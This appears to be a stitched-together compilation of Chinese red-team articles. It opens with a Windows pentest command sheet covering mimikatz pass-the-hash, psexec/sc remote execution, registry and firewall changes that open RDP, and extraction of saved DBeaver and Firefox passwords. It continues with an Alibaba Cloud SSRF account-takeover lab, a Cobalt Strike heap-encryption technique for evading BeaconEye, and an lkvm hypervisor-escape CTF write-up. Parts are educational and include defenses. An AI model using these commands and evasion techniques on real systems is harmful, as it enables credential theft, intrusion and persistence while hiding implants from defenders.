"sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF /run:cmd.exe" //传递hashpsexecpsexec /accepteula //接受许可协议 sc delete psexesvc psexec \\192.168.1.185 -u pt007 -p admin123 cmd.exe psexec.vbscscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"远程命令执行scnet use \\192.168.17.138\c$ "admin123" /user:pt007 net use dir \\192.168.17.138\c$ copy test.exe \\192.168.17.138\c$ sc \\192.168.17.138 create test binpath= "c:\test.exe" sc \\192.168.17.138 start test sc \\192.168.17.138 del test windows远程执行cmd的9种方法: https://xz.aliyun.com/t/5957 0x03 access is denied对于任何非RID 500的本地管理员(Administrator)连接到Windows Vista+的计算机,无论采用wmi、psexec还是其它方法,使用的令牌都是中等令牌, 使用wmiexec的时候会修暗示Access is Denied 在抓取hash的情况下,可以修改注册表,使得本地管理员组成员都可以远程连接,作为一种持久化的手段。 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f ###RDP的PTH 抓取hash无法破解的情况下,如果使用hash远程登录RDP,需要被登录的系统开启”Restricted Admin Mode”, 在Windows8.1和Windows Server 2012R2上默认开启。Windows7和WinServer 2008需要安装2871997、2973351布丁。 1.启动RDPREG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f # 监听 3389 端口 开启3389 wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 2.开启Restricted Admin modeREG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f3.增加防火墙规则netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=TCP localport=3389 action=allow0x04 dump passwod####dbeaver dbeaver6的配置文件(不同版本存储的位置和解密方式不一样): #密码加密存储位置: C:\Users\<user>\AppData\Roaming\DBeaverData\workspace6\General\.dbeaver\credentials-config.json #url和用户名: C:\Users\<user>\AppData\Roaming\DBeaverData\workspace6\General\.dbeaver\data-sources.json解密脚本: https://gist.github.com/felipou/50b60309f99b70b1e28f6d22da5d8e61 下载credentials-config.json脚本之后,使用python解密:python decrypt.py credentials-config.json,然后根据解密出来的id去data-sources.json里面找对应的IP和用户名。 老版本的密码是存储在:C:\Users\<users>\.dbeaver4\General\.dbeaver-data-source.xml,可以直接使用在线解密:http://dbeaver-password-decrypter.s3-website-us-west-2.amazonaws.com/ 0x05 MobaXterm有一个.ini的文件,有对应的IP信息和私钥地址 老版本的存储: C:\Users%USERNAME%\AppData\Roaming\MobaXterm 2020年的版本: C:\Users%USERNAME%\Documents\MobaXterm 0x05 VSCODEWindows下的配置文件在这个地方: %APPDATA%\Code\User\settings.json可以根据配置文件找到笔记和ssh等存储位置 0x06 Firefox三好师傅讲的很详细,我选择使用firepwd.py: firefox的配置文件目录: %APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\ 下载解密需要的文件: key4.db和logins.json 下载解密脚本: https://github.com/lclevy/firepwd 上面三个东西放在一个文件夹: python3 firepwd.py https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%AF%BC%E5%87%BAFirefox%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/ 0x07 截屏CS里面的screenshotmsf里面: use espia screengrabmsf的持续截屏: post/windows/gather/screen_spyWin10自带: psr.exe /start /gui 0 /output C:\cool.zip /maxlogsize 10x08 搜索文件在C盘搜索script.js这个文件: dir /s /b C:\script.js 原文连接:https://jkme.github.io/2020/05/14/workgroup-pentest2.html
  17. 0x00 前言本文将以阿里云为例,对云服务中的一些攻防手法进行演示,首先利用 Terraform 进行 ECS SSRF 漏洞环境的搭建,然后通过实例中存在的 SSRF 漏洞一步步拿下该云服务账户的所有的阿里云服务权限。 0x01 环境搭建本文采用 TerraformGoat 进行靶场的搭建,TerraformGoat 靶场地址:https://github.com/HuoCorp/TerraformGoat(opens new window) 在部署靶场时,需要用到你的阿里云 AccessKey,为了避免影响到你的云上生产环境,因此这里强烈建议使用非生产环境的 AccessKey,不要和生产环境使用同一个账号。 由于 TerraformGoat 工具的迭代更新,下述环境搭建的方法已失效,现在部署的方法更加方便友好,具体部署方法请参见上面的 TerraformGoat 靶场地址。 接下来开始搭建靶场,首先克隆靶场项目到本地,并构建下载靶场所需的依赖。 git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1 cd TerraformGoat docker build . -t terraformgoat:v0.0.3 docker run -itd --name terraformgoat terraformgoat:v0.0.3 docker exec -it terraformgoat /bin/bash如果 github 访问较慢,可以给终端挂上代理 proxy_url="127.0.0.1:1080" && export https_proxy=http://$proxy_url http_proxy=http://$proxy_url all_proxy=socks5://$proxy_url在进入容器后,容器会提示选择接下来要使用的云服务提供商,这里以阿里云服务为例,输入 2 选择阿里云后回车。 进入到阿里云 ECS SSRF 靶场路径下,并配置你的 AccessKey cd /TerraformGoat/aliyun/ecs/ecs_ssrf/ aliyun configure 部署 SSRF 靶场 如果 init 初始化比较慢,挂上代理即可 在 apply 期间,会提示 Enter a value,这时输入 yes 回车即可。 在 Outputs 处,可以看到返回的靶场地址,访问这个地址,可以看到 SSRF 测试靶场页面,这时就说明环境搭建完了。 0x02 环境利用当前环境存在 SSRF 漏洞,但和常规 SSRF 所处的环境不同,这里的 SSRF 漏洞是出现在云服务器上的,这也就意味着我们可以通过这个 SSRF 漏洞获取到该服务器的元数据信息。 访问元数据 在返回的结果中,可以看到当前环境存在 ram/ 目录,这也就意味着当前云服务器配置了 RAM 角色,这样我们可以获取到临时凭证了。 通过元数据获取临时凭证 这里 URL 中的 huocorp-terraform-goat-role 是 RAM 角色名称,可以通过访问 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 获取到。 将临时凭证配置到 aliyun 命令行工具里。 创建子用户,并赋予管理员权限 ram CreateUser --UserName teamssix aliyun ram CreateLoginProfile --UserName teamssix --Password TeamsSix@666 aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix 访问 https://signin.aliyun.com (opens new window)页面,通过 RAM 用户进行登录,这里的用户格式为 username@company-alias,其中 username 就是刚刚创建的用户名,company-alias 可以通过下面的这个命令获取到。 ram GetAccountAlias 这里的 AccountAlias 就是我们需要的 company-alias,接下来就可以登录控制台了。 输入刚才创建用户时的密码 登录后,就可以看到目标的控制台了。 由于刚才在创建用户时,赋予了 AdministratorAccess 权限,因此在 RAM 访问控制处可以看到,当前账号拥有管理所有阿里云资源的权限。 在云服务 ECS 实例中也可以看到我们刚才搭建的那台 SSRF 靶场服务器。 至此,就实现了利用云服务器上的 SSRF 漏洞接管了阿里云控制台。 另外这个环境里还放了一个 flag 文件,你如果感兴趣的话,可以动手去尝试找到这个 flag,Writeup 地址:https://github.com/HuoCorp/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf(opens new window) 0x03 防御措施这个环境的问题除了存在 SSRF 外,还有另外两个主要的问题: RAM 角色权限过大,导致可以通过该角色的权限进行创建子用户以及给子用户授予高权限等操作元数据未做加固访问,导致一旦目标存在 SSRF 或目标权限被拿下,元数据就存在被获取的风险那么针对第一个 RAM 角色权限过大的问题,主要还是需要使用者严格遵守权限最小化的原则,在为 RAM 角色赋予权限时,避免赋予过高的权限,只赋予自己所需要的权限,这样可以将影响程度降到最低,但是这并不能治本。 针对第二个元数据未做加固访问的问题,可以将实例上的元数据访问模式设置为加固模式,这是一种治本的方法,将元数据访问模式设置为加固模式有以下两种方法: 在创建实例时,可以在「系统配置」的「高级选项」中将「实例元数据访问模式」设置为「仅加固模式」 在已经创建好的实例中,可以在阿里云 OpenAPI 中开启元数据强制使用 Token 访问,OpenAPI 地址:https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions(opens new window) 将 HttpTokens 设置为 required 即表示强制使用加固模式,此时再访问元数据就会提示 403 了。 值得一提的是,将元数据设置为加固模式可以防止通过 SSRF 获取到元数据,但如果实例权限被拿下,那么红队还是可以通过在实例上执行获取 token 的命令,然后利用该 token 获取到元数据。 在 Linux 实例中获取 token 的命令如下: TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"`通过 token 获取元数据 curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/ 对于 Windows 实例下的获取方法可以参考阿里云官方文档:https://help.aliyun.com/document_detail/108460.htm(opens new window) 将元数据访问模式设置为加固模式进而防御 SSRF 漏洞的这个方法由 2h0ng 师傅提供 0x04 环境删除删除创建的子账号 ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix aliyun ram DeleteUser --UserName teamssix删除 SSRF 靶场环境,在使用完靶场后,记得及时删除,因为这里创建的云服务是按时间计费的,该靶场实例的价格为每小时 0.17 元人民币。 在销毁靶场之前,记得把 AccessKey 配置成最开始的 AccessKey,配置命令:aliyun configure --mode AK 如果想清除 TerraformGoat,可以使用以下命令,如果以后还想进行云上攻防的学习,则可以将 TerraformGoat 环境保留下来。 docker stop terraformgoat docker rm terraformgoat docker rmi terraformgoat:v0.0.30x05 总结这里通过云上 SSRF 漏洞获取到了临时密钥,通过临时秘钥创建了一个具有管理员访问权限的子用户,最后通过这个子用户接管了目标的控制台。 但是这个方法在实战中想要使用是有一些前提的,主要前提有以下两个: ECS 实例需要被授予 RAM 角色,不然访问临时凭证的元数据会返回 404RAM 角色需要具备 ram 访问控制的相关操作权限,例如创建用户、赋予权限等,不然临时秘钥会没有创建子用户的权限。在实战中,如果遇到了 ECS 实例被授予了 RAM 角色的情况,大多时候该角色都是不具备创建用户权限的,这时就没法通过创建子账号登录控制台的方式了,只能通过阿里云命令行工具去操作目标云服务了。 总的来说,云上攻防和常规的内网攻防还是十分不一样的。 云上攻防的常见问题是配置错误,例如这里的问题就是 RAM 角色配置权限过高。云上攻防的权限维持主要方法是创建 RAM 高权限用户,而不是像传统攻防里那样有五花八门的权限维持方法。云上攻防的内网横向主要是在云服务厂商命令行或者控制台中进行横向,从这个云服务横向到另一个云服务,而不是像传统攻防那样有各种各样的内网横向手法。……最后,本文中所提到的很多命令都是参考火线云安全知识库中的内容,知识库地址:https://cloudsec.huoxian.cn (opens new window),在知识库的首页中可以看到火线云服务攻防矩阵,本文就是依据这个攻防矩阵进行的云上攻防。 如果你还想找到更多云安全资源进行学习,可以访问 Awesome Cloud Security 项目,该项目当前已经收录了上百余条国内外云安全博客、工具、公众号等资源,项目地址:https://github.com/teamssix/awesome-cloud-security(opens new window) 参考文章:https://cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs 原文连接: https://wiki.teamssix.com/CloudService/EC2/aliyun-console-takeover.html
  18. 加密堆分配為什麼要對堆分配進行加密?堆棧是局部作用域的,通常在函數完成時退出作用域。這意味著在函數運行期間設置在堆棧上的項目會在函數返回並完成時脫離堆棧;這顯然不適用於你長期保存內存變量的期望。此時,就需要用到堆了。堆更像是一種長期內存存儲解決方案。堆上的分配保留在堆上,直到你手動釋放它們。如果你不斷地將數據分配到堆上而從未釋放任何內容,也可能導致內存溢出。也就是說,堆可能包含長期配置信息,例如Cobalt Strike 的犧牲進程、休眠時間、回調路徑等。這意味著如果你的Cobalt Strike 代理在內存中運行,則任何防御者都可以在進程堆空間中以純文本形式看到你的配置。作為防御者,我們甚至不需要識別你注入的線程,就可以輕鬆地HeapWalk()所有分配並確定像“%windir%”這樣簡單的內容來嘗試識別你的犧牲進程: 如你所見,這是一個非常令人擔憂的想法。既然我們已經了解了這個問題,現在就必須去解決它。 我們有幾個潛在的解決方案,不過每個方案各有其優缺點。讓我們從獨立的EXE情況開始,因為這個要簡單得多。該二進製文件是你的Cobalt Strike 有效載荷。在這種情況下,我們可以很容易地實現我們的目標。使用前面提到的HeapWalk() 函數,我們就可以迭代堆中的每個分配並對其進行加密!為了防止錯誤,我們可以在加密堆之前掛起所有線程,然後在加密後恢復所有線程。 即使你認為你的程序是單線程的,Windows 似乎也在後台提供線程,為RPC 和WININET 等實用程序執行垃圾收集和其他類型的函數。如果你不掛起這些線程,它們將在嘗試引用加密分配時使你的進程崩潰。崩潰示例如下: Windows 後台線程 wininet.dll 線程崩潰 從理論上講,這是一個很容易實現的方法!最後一個難題是如何在Cobalt Strike 休眠時調用所有這些函數,解決方法很簡單。 掛鉤如果我們查看Cobalt Strike 二進製文件的IAT(導入地址表),我們將看到它利用Kernel32.dll Sleep 來實現其休眠函數。 Cobalt Strike 進口我們需要做的就是在kernel32.dll 中掛鉤Sleep,然後將掛鉤休眠中的行為修改為以下內容: 基本上,我們掛起所有的線程並運行我們的加密例程,如下所示: 這將創建一個PROCESS_HEAP_ENTRY 結構,在每次調用時將其清零,然後遍歷堆並將數據放入該結構中。然後我們檢查當前堆條目的標誌並驗證它是否已分配,以便我們只對分配進行加密。 然後我們運行原始/舊休眠函數,該函數將作為掛鉤函數的一部分創建,然後在恢復線程之前解密。這樣我們就可以防止再次引用分配時發生崩潰。總之,這是一個相當簡單的進程。目前我們還沒有用到的是掛鉤功能。 首先,什麼是函數掛鉤?函數掛鉤意味著我們在進程空間內重新路由對函數的調用,例如Sleep() ,以在內存中運行我們的任意函數。這樣,我們局可以改變函數的行為,觀察被調用的參數(因為我們的任意函數現在被調用,可以打印傳遞給它的參數),甚至完全阻止函數工作。在許多情況下,這就是EDR 監控可疑行為並發出警報的方式。他們掛鉤自認為有趣的函數,例如CreateRemoteThread,並記錄所有的參數,以便以後在可疑調用時發出警報。 那如何掛鉤該函數?有很多方法可以實現這一點,但我只會提到兩種並深入研究一種。我將提到的兩種技術是IAT掛鉤和Trampoline Patching IAT掛鉤IAT 掛鉤背後的想法很簡單,每個進程空間都有所謂的導入地址表。此表包含已由二進製文件導入以供使用的DLL 和相關函數指針的列表。推薦的和最穩定的掛鉤方法是遍歷導入地址表,識別你嘗試掛鉤的DLL,識別你想要掛鉤的函數並覆蓋其指向任意掛鉤函數的函數指針。每當進程調用該函數時,它都會定位指針並調用你的函數。如果你想調用舊函數作為掛鉤函數的一部分,你可以存儲舊指針,ired.team 上已經存在一個示例。 這種方法有優點也有缺點,優點是實現起來非常簡單,而且非常穩定。你只是改變了調用的函數,你並沒有改變任何內容,但卻有很大的崩潰風險。 如果使用GetProcAddress() 來解析函數,它不會在IAT 中。這是一個非常有針對性的掛鉤方法,可以帶來好處,但如果你想監視更廣泛的調用,例如能夠掛鉤NtCreateThreadEx 與僅使用CreateRemoteThread,理論上也更容易檢測。 Trampoline Patching 現在讓我們談談Trampoline Patching。 Trampoline Patching 更難實現,很不穩定,並且由於必須解決許多相對尋址問題,因此可能需要很長時間才能對x64 進行普遍處理。值得慶幸的是,已經有人花時間製作了一個開源庫,以非常穩定的方式執行所有這些操作。 接下來讓我們繼續看看掛鉤是如何工作的,這樣我們就可以根據需要重新實現我們自己的掛鉤。首先使用GetProcAddress 和LoadLibrary 解析函數。然後,解析有效程序集的前X個指令數,加起來最少為五個字節。更具體地說,我們將使用一種非常常見的技術,該技術使用五字節相對跳轉操作碼(E9) 從函數庫跳轉到+- 2GB 的位置,然後跳轉到我們的任意函數。顯然,要使其工作,我們需要覆蓋函數的前五個字節。如果我們這樣做,就需要再次調用它這樣會破壞原始函數。為了確保我們可以在需要時解決舊函數,就必須保存第一條指令,稍後將寫入代碼cave作為trampoline的一部分,該trampoline將為我們運行它,然後跳回下一條指令的函數。但如果第一條指令只有四個字節,寫入五個字節就會破壞第二條指令的第一個操作碼。然後我們需要將前兩條指令存儲在我們的trampoline中,現在trampoline將運行前兩條指令並跳回到第三條指令繼續執行。這個trampoline所在的地方將是被掛鉤的原始函數的新指針。所以,原來的函數指針現在是這樣運行。 這個代碼cave也會跳轉到任意函數的某個位置,寫在原始函數基礎的相對五字節跳轉跳轉到這個位置,然後像這樣跳轉到任意函數。 這樣,我們現在就有了一種方法,可以在調用舊函數時運行任意函數,並根據需要調用原始函數。 現在讓我們開始調試,看看MessageBoxA 是乾淨的還是經過掛鉤的。 首先,我們掛鉤MessageBoxA。代碼看起來像這樣: MessageBoxA位於user32.dll中,找到基地址後,Patching所有內容,向cave添加一些代碼,解析相對跳轉並將trampoline存儲在OldMessageBoxA() 中。 任意/掛鉤MessageBoxA 函數將如下所示: 我們需要匹配返回類型和參數,此時,我們將運行原始MessageBoxA,無論如何我們將修改文本,始終顯示“HOOKED”。 現在看一下前後對比情況: Patching未進行掛鉤的消息框之前 Patching進行掛鉤的消息框之後 如你所見,在BEFORE 屏幕截圖中,第一條指令只有四個字節。這意味著我們需要存儲前兩條指令;然後我們的相對跳轉繼續覆蓋前五個。我們不需要修改剩餘的字節,因為我們將讓trampoline執行我們存儲的前兩個字節,然後跳回位置0x00007FF8EF70AC27。讓我們繼續在調試器中查看新的掛鉤函數是什麼樣的。我們將在運行JMP 後立即開始: 跳轉到掛鉤函數 首先看到兩個00。這樣做是為了確保如果我們將多個trampoline寫入cave,我們不會覆蓋函數指針中00 00 的末尾。接下來我們看到FF 25 00 00 00 00,也就是JMP QWORD PTR指令。緊接著,你將看到八個字節,它們是掛鉤函數的指針!如果我們執行這條指令,就會看到: 掛鉤函數中的第一條指令 最後: 內部掛鉤函數 我們可以看到我們在我們的掛鉤函數中,掛鉤函數只運行並返回舊函數,所以讓我們繼續執行舊函數: 調用舊函數 讓我們看看結果如何: trampoline 如果你看這張圖,可以看到我們正在執行我們覆蓋的前兩條指令。在復制的字節之後,我們對OriginalFunction+7的位置執行第二個JMP QWORD PTR(因為在這個示例中trampoline的大小是7個字節)。這將使我們處於第三條指令的開頭。讓我們來看看: 繼續執行 可以看到我們現在處於CMP 指令處,從我們停止的地方繼續執行。 通過這個進程,你可以看到像minhook 這樣的實用程序是如何工作的。現在,你可以像我一樣自己實現它,也可以使用像minhook 這樣穩定的內容。 將EXE 放在一起把所有內容放在一起看看它是什麼樣子的: Hook Sleep(); 在掛鉤函數中,掛起所有線程; 使用HeapWalk() 加密所有分配; 通過trampoline函數運行原始的Sleep(); 使用HeapWalk() 解密所有分配; 恢復所有線程; 我將假設你擁有自己的加密、掛鉤和完整的線程掛起函數。代碼如下所示: 非常簡單,這段代碼顯然不包括你的植入程序。你可以通過以某種方式執行shell 代碼在同一進程空間中運行植入程序,也可以將其轉換為DLL 並將其註入執行後的信標中。由於它使用了HeapWalk(),所以它可以加密過去、現在和將來的分配,只需要掛鉤Sleep() 來開始調用。 在這個演示中,對於任何sleep值為1或更少的內容,我們都不加密。 EXE HeapWalk() 加密器演示 如你所見,首先我們進行1 次休眠,BeaconEye 會捕獲我們的配置。將sleep值修改為5,然後開始加密,成功關閉BeaconEye。 注意,由於這會加密所有堆分配,因此它不會作為註入線程工作,因為當Cobalt Strike 處於休眠狀態時,它注入的進程將無法運行。想像一下注入explorer.exe,每次信標休眠時,所有的Explorer 都會凍結。當需要作為線程注入時,這個解決方案顯然不是最佳的。如果我們想要一些可以作為線程工作的內容,將需要做更多的工作。 可以在此處找到演示過程。 線程目標堆加密我們的新設計必須使用單獨的線程,因為無法掛起額外的線程也無法鎖定堆,主進程將需要繼續運行。這意味著當我們注入一個信標線程時,必須確保所有加密的分配都只來自該線程。如果我們正確定位線程,則可以成功地避免該問題。 現在在我們的dropper 中有掛鉤函數。為了操作堆,需要在Windows 中調用了一個函數子集: HeapCreate() HeapAllocate() HeapReAllocate() HeapFree() HeapDestroy() Windows中的Malloc和free,位於msvcrt.dll中,實際上是HeapAllocate()和HeapFree()的高級包裝器,它們是RtlAllocateHeap()和RtlFreeHeap()的高級包裝器,它們是Windows中最低級別的函數,最終直接管理堆。 來自Ghidra的圖 這意味著如果我們掛鉤RtlAllocateHeap()、RtlReAllocateHeap() 和RtlFreeHeap(),則可以在Cobalt Strike 中跟踪堆空間內分配和釋放的所有內容。通過掛鉤這三個函數,我們可以在映射中插入分配和重新分配,並在調用free 時將它們從映射中刪除,但這仍然不能解決我們的線程目標問題。 事實證明,如果你從一個鉤子函數調用GetCurrentThreadId(),你實際上可以獲取調用線程的線程id,使用它,你可以注入你的信標,獲取其線程id 並執行類似於以下的操作: 這樣做是為了重新分配,也可以免費進行刪除,現在你的目標是一個線程!到目前為止很容易。但是還記得之前的那個問題,我們不得不掛起其他線程的原因嗎?在我們及時解密之前,WININET 和RPC 調用仍會嘗試訪問加密的內存。這裡有幾個選項,但我使用了我認為有趣的選項。由於加載的shell 代碼既不是有效的EXE 也不是DLL,因此我能夠從任何發起調用的對像中進行分配,這些調用源自沒有名稱的模塊。 為了讓這個機制起作用,我們需要解析進行函數調用的模塊。這可以通過以下代碼實現: 這將獲得_ReturnAddress內在函數,並將其與GetModuleHandleEx和標誌 GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS 一起使用,以識別哪個模塊正在進行此調用。然後我們可以將其轉換為小寫字符串,如果字符串不包含DLL 或EXE,我們繼續插入它。這樣,你就有了一個穩定的分配列表,可以在休眠時加密。你將需要重複這個進程為你的掛鉤重新分配。 要運行加密,你需要迭代列表並加密這些分配,而不是執行HeapWalk()。這將取決於你是否決定使用映射、矢量、鍊錶或其他內容。你希望將真正的HeapAlloc或ReAlloc返回的指針存儲到您的數組中,迭代數組並按大小對數據進行加密。上面示例中的Arg3是size 。 現在我們掛鉤了四個不同的函數,將基於線程id 的分配插入向量中,迭代向量並在休眠時加密每個地址。如果成功,我們應該可以再次繞過BeaconEye。
  19. 在這個挑戰中,我們被賦予了運行在hypervisor中的linux虛擬機的root權限,目標是實現hypervisor逃逸,以訪問宿主機系統上的旗標文件。在這個過程中,我們發現了多個安全漏洞,通過它們可以實現lkvm的零日攻擊,使得具有虛擬機訪問權限的攻擊者能夠在宿主機上執行任意命令。 在這篇文章中,當提到行號時,請參考kvmtool的git checkout 39181fc6429f4e9e71473284940e35857b42772a。 攻擊面由於我們是在hypervisor內運行,並且宿主機和虛擬機內存之間實現了顯式的隔離,因此,我們需要找到一種方法與宿主機的進程進行通信。實際上,我們可以通過pci與宿主機進行通信,因為Lkvm通過pci模擬了3個硬件設備:virtio-console、virtio-net和virtio-balloon。我們可以使用內存映射的IO與這些設備進行交互,也就是對特定的物理內存地址進行讀取和寫入操作。如果我們對0xd2000000-0xd20000ff(balloon-virtio)範圍內的地址進行寫操作,虛擬機就會被中斷,並且控制流將被傳遞給linux系統的kvm驅動程序,然後進一步傳遞給lkvm進程。 信息洩露當從這個地址執行讀取操作時,我們首先遇到的一個函數是virtio/pci.c第148行的virtio_pci__data_in函數: 該函數可以將偏移量映射為bar(地址範圍),這意味著,如果我們在地址0xD2000000+VIRTIO_PCI_QUEUE_NUM==0xD2000008處執行讀取操作,我們將進入第二個case子句。需要注意的是,這裡的默認case子句非常有趣:在第118行調用virtio_pci__specific_data_in: 在這裡,我們總是以else if的case子句結束,因為這不是MSIX操作。另外,config_offset是根據從virtio_pci__data_in傳遞的偏移量來計算的,我們看到它具有完整的訪問權限,並且沒有進行任何綁定檢查。並且,config_offset的值是在調用virtio__get_dev_specific_field時作為返回參數進行計算的。如果我們沒有執行MSIX操作,config_offset就是設置為傳遞給virtio__get_dev_specific_field的第一個參數的值,其偏移量為-20。 到目前為止,我們只討論了virtio和pci泛型函數,但這裡調用了ops-get_config,在本例中,它從balloon驅動程序中提取了u8*配置。這個函數只是一個簡單的getter,代碼如下所示: 正如我們在下面所看到的,virtio_balloon_config是結構體的最後一個元素;讀者可能已經註意到了,config結構體非常小。由於bar(地址範圍)為0x100(0xD2000000-0xD20000FF),因此,只要將偏移量設置為大於20,我們就能以0x10020+sizeof(virtio_balloon_config)的形式訪問這個config結構體。在這個地址範圍內執行寫入操作時,相當於對config結構體執行寫操作,這意味著我們獲得了一個越界讀/寫原語。 這段內存並沒有分配在堆棧上,而是分配到一個mmaped區域中。這意味著我們無法通過破壞這個內存區來控製程序流。但是,我們能夠利用這個漏洞來洩露信息,即洩露兩個感興趣的指針,其中一個指向bln_dev結構體本身的地址,另一個指向lkvm二進製文件的基址。 為了在用戶空間進程中洩漏這兩個指針,我們可以使用/dev/mem來訪問虛擬機的物理內存,具體代碼如下所示: 這裡,leak_u64使用ioread8從virtio-balloon所在的0xD2000000處的mmap/dev/mem區域讀取數據。我們將這20個字節加上一個越界的偏移量,使其正好指向lkvm可執行文件的地址,這樣我們就能實現信息洩漏了。對於bln_dev洩漏,我們可以重複相同的過程。 獲得程序流程的控制權現在終於到了最有趣的部分:控制rip。假如我們能利用前面的漏洞來編寫任意的越界代碼,那麼,我們可以破壞哪些有趣的數據呢?在下圖中,我在virtio_pci__specific_data_in函數中設置了一個斷點來檢查bln_dev內存。在這裡,我轉儲了位於config結構體後面的內存內容。其中,我們看到一些名為exit_lists的結構體,不幸的是,由於我們可以突破0x100的限制,所以,這些結構體都是可達的。但這些到底是什麼? 由於virtio_pci__specific_data_in中的偏移量-20導致轉儲不是0x10對齊的,所以地址可能會有點亂 當lkvm二進製文件關閉時,它會進行拆卸處理,包括調用一些退出處理程序,這就是我們在這裡發現的東西。如果我們查看init.c內部的第51行,我們會發現代碼非常平易近人: 這裡可以看到,在退出lkvm時,會遍歷struct init_item數組,並從數組中的最後一個元素開始,對每個元素調用t-init函數。這就是前面發現的exit_lists。列表中的每個條目都是指向init_item的指針(該結構體也用於初始化,它也因此得名)。如果我們能夠控制其中的指針,我們就就能偽造一個init_item,並在終止虛擬機操作系統時改變程序流程。 查看上面init_item的struct定義,我們就會發現它其實非常簡單:其中包含2個鍊錶指針、一個名稱指針和我們想要控制的函數指針,它相對於init_item頂部的偏移量為0x18。 實際上,我們之前在virtio_pci__data_in函數中還發現了其他功能,而不僅僅是對config進行讀取和寫入操作。下面,讓我們看一下virtio/pci.c第287行中該函數的等價物data_out: 這裡,我們對VIRTIO_PCI_QUEUE_PFN的第二個case子句非常感興趣,因為它調用了virtio-balloon特定的init虛擬隊列函數。我們可以在virtio/balloon.c中的第200行找到這個函數,具體如下所示: 正如我們所看到的,當調用vring_init時,它將vr-desc=p設置為完全處於我們控制之下的虛擬機物理頁面。我們可以看到,vring_init是從init_vq中調用的,參數是p,而p是從virtio_get_vq中獲得的,在那裡它可以找到給定頁幀號(pfn)的宿主機虛擬地址。在init_vq中,我們看到參數vq被用來計算進入bdev-vqs數組的偏移量。這個queue=bdev-vqs[vq]; 語句又是完全沒有任何約束檢查的,儘管在任何給定時間只有3個隊列。這意味著,只要控制了vq參數,我們就可以有效地插入一個指向虛擬機內存的邊界之外的指針。 在virtio_pci__data_out的代碼清單中,對init_vq的調用是作為vq的參數通過vpci-queue_selector進行傳遞的,在同一個清單中,我們還發現完全可以通過switch語句中的VIRTIO_PCI_QUEUE_SEL子句來控制vpci-queue_selector。 通過下面vring*vr的結構體定義,我們可以看到它有4個成員,大小為0x20,這意味著我們不能在任意位置插入這個指針。實際上,只有在偏移量0x20*x+8處,我們才能完全控制x。 大家肯定還記得,我們的exit_lists離這個bdev結構體的位置並不遠,而且,現在我們還獲得了一個未綁定的、指示插入位置的指針,所以,我們只要將vq設置為0x16,那麼,我們就能在這個exit_lists的最後一個條目中插入這個指針,具體代碼如下所示: 這裡,我們將頁幀號設置為0x1,這表示虛擬機物理地址0x1000,並再次使用/dev/mem,將物理地址0x1000映射為我們具有讀寫權限的用戶空間進程中的一個地址。顯然,以任何正常的方式重新引導或退出虛擬機操作系統,都不會調用這些退出處理程序,但幸運的是,在未定義的指令導致內核崩潰時,卻會調用這些程序。哈哈,大家還記得echo c /proc/sysrq-trigger嗎? 退出前的內存轉儲: 0x41代表字母A 這裡我們看到,所有從上面的memset插入的“A”,都出現在exit_lists+72內的地址上。很明顯,我們現在已經控制了程序流程,因為t-init(kvm)調用的這個地址完全處於我們的控制之下。既然已經得到了控制權,我們自然就可以重定向程序流程了。 現在,我們需要將代碼重定向到一個目標,以便在宿主機系統上執行代碼或命令,幸運的是,這個二進製文件含有返回函數virtio_net_exec_script的ret gadget: 超級好用的ret gadget 現在,如果我們能夠控制$rdi寄存器並跳轉到virtio_net_exec_script中用紅色箭頭標記的指令,就可以成功調用execl(command_we_control,),從而在宿主機系統上執行命令。 綜合起來現在,我們已經能夠偽造init_item,啟動調用exevl的ROP鏈,或者說是JOP鏈,接下來,我們將藉助於Jump oriented programming技術實現我們的目標。總而言之,我們現在利用第一個安全漏洞實現了指針洩露,並能控制該內存區域中一些字節的值,因為我們可以在洩漏的內區域中隨意執行寫入操作。同時,我們還找到了一種控制rip的方法,但遺憾的是,我們還無法控制函數調用t-init(kvm)中的參數kvm。 當我們第一次調用t-init時,$rbx指向我們偽造的init_item,也就是處於我們的控制之下的一段內存。 首先,我們要跳到這個gadget: mov rax, qword ptr [rbx +0x28]; mov rdi, rbx; mov rsi, qword ptr [rax + 8]; call qword ptr [rax]; 這將交換rbx和rdi寄存器中的值,使我們能夠控制任何函數調用的第一個參數,並再次通過[$rbx +0x28]獲取一個新的跳轉位置。 現在,我們可以直接跳到前面介紹的那個超級棒的gadget代碼處了,因為我們現在能夠控制$rdi了。 大功告成 現在,代碼將調用execl('/bin/sh', '', null);並返回一個shell!我們已經為這個漏洞申請了編號CVE-2021-45464,目前正在等待批准。至於完整的exploit,請參考原文末尾;但要注意的是,對於所有版本的lkvm來說,必須對利用代碼進行相應的修改:根據特定的二進制代碼修改gadget的偏移量。
